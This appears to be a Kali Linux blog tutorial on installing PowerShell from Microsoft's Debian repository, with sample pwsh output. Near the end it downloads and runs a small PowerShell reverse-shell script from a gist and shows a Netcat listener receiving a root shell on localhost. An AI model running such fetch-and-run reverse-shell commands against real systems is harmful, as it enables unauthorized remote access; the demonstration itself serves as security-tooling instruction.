UPDATE NOV 2019
This post is out of date as of 2019 as powershell has been added to the primary repos. Just do a:
apt update && apt -y install powershell
And you will have powershell on your system.
You may already be aware that you can safely add external repositories to your Kali Linux installation but you may not be aware that one of the many repositories available online includes one from Microsoft that includes PowerShell. The repository is for Debian but its packages install perfectly well on Kali, as we will show in this post.
PowerShell Package Installation in Kali
We begin by installing the necessary dependencies, most of which should already be installed in your Kali installation by default.
apt update && apt -y install curl gnupg apt-transport-https
Next, we need to download and add the public repository GPG key so APT will trust the packages and alert you to any issues with package signatures.
curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add -
With the GPG key added, we proceed to add the Microsoft package repository to its own package list file under /etc/apt/sources.list.d/ and update the list of available packages.
echo "deb [arch=amd64] https://packages.microsoft.com/repos/microsoft-debian-stretch-prod stretch main" > /etc/apt/sources.list.d/powershell.list apt update
Finally, we proceed to install the powershell package.
apt -y install powershell
When the package installation completes, running pwsh will start up PowerShell, presenting us with the familiar “PS” prompt.
root@kali:~# pwsh PowerShell v6.1.0-preview.2 Copyright (c) Microsoft Corporation. All rights reserved. https://aka.ms/pscore6-docs Type 'help' to get help. PS /root>
If you’re new to PowerShell, one of the first things you will likely want to do is update the built-in help, which can be done by running the Update-Help Cmdlet. This may take a little while to complete but only really needs to be run once in a rare while.
PS /root> Update-Help Updating Help for module Microsoft.PowerShell.Utility Locating Help Content...
As you might expect, you won’t find all the commands you’re used to when using PowerShell on Windows but all of the core modules are present and the code is under constant development and improvement.
PS /root> Get-Process -Name gnome* NPM(K) PM(M) WS(M) CPU(s) Id SI ProcessName ------ ----- ----- ------ -- -- ----------- 0 0.00 5.71 0.03 1073 072 gnome-keyring-d 0 0.00 9.80 0.19 659 649 gnome-session-b 0 0.00 13.72 0.36 1089 080 gnome-session-b 0 0.00 110.06 3.36 778 649 gnome-shell 0 0.00 277.15 27.85 1170 080 gnome-shell 0 0.00 11.77 0.09 1199 075 gnome-shell-cal 0 0.00 77.79 4.58 1381 080 gnome-software 0 0.00 36.58 2.03 1646 646 gnome-terminal-
One of the surprising things you can do however, is use PowerShell to send a reverse shell to a Netcat listener. We came across a small PowerShell reverse shell online and much to our surprise, it happily connected back to our listener.
root@kali:~# pwsh PowerShell v6.1.0-preview.2 Copyright (c) Microsoft Corporation. All rights reserved. https://aka.ms/pscore6-docs Type 'help' to get help. PS /root> wget -q https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1 PS /root> ./mini-reverse.ps1 ──────────────────────────────────────────────────────────────────────────────── root@kali:~# nc -lvnp 413 listening on [any] 413 ... connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 59006 id uid=0(root) gid=0(root) groups=0(root) uname -a Linux kali 4.15.0-kali3-amd64 #1 SMP Debian 4.15.17-1kali1 (2018-04-25) x86_64 GNU/Linux
We think it’s remarkable that, not only did Microsoft Open-source PowerShell, they’ve also been constantly updating and improving it, and having a public package repository for it makes installation a breeze.